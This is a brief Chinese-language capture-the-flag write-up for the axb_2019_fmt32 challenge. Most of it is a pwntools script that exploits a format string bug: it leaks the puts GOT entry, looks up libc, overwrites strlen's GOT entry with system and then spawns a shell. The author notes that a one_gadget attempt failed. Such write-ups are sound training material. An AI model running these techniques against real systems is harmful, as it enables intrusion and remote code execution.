很奇怪,onegadget用不出来
    格式化字符串漏洞,然后修改got表
    1.通过%s泄露got表内容
    2.利用%n修改地址内容

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. io = remote("node4.buuoj.cn",26020)
    5. #io = process('./axb_2019_fmt32')
    6. elf = ELF('./axb_2019_fmt32')
    7. #gdb.attach(io,'b*0x0804874A')
    8. puts_got = elf.got['puts']
    9. strlen_got = elf.got['strlen']
    10. io.recvuntil("Please tell me:")
    11. payload = 'a'+p32(puts_got)+'abcd'+"%8$s"
    12. io.send(payload)
    13. io.recvuntil('abcd')
    14. puts_addr=u32(io.recv(4))
    15. log.success("puts:"+hex(puts_addr))
    16. libc = LibcSearcher('puts',puts_addr)
    17. libc_base = puts_addr - libc.dump('puts')
    18. system_addr = libc_base +libc.dump('system')
    19. bin_sh_addr = libc_base + libc.dump('str_bin_sh')
    20. print('system:'+hex(system_addr))
    21. sys_high = (system_addr>>16)&0xffff
    22. sys_low = system_addr&0xffff
    23. io.recvuntil("Please tell me:")
    24. payload = 'a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(sys_low-18)+'c%8$hn'+'%'+str(sys_high-sys_low)+'c%9$hn'#注意这里是9
    25. #sys_low-18是因为%n的特性,会把已经打印的也算进去
    26. #四个字节一起改,不行好像,我也不知道是不是写错了
    27. #改one_gadget 也不行可能也还是写错了
    28. io.sendline(payload)
    29. io.recvuntil("Please tell me:")
    30. io.sendline(';/bin/sh\x00')
    31. io.interactive()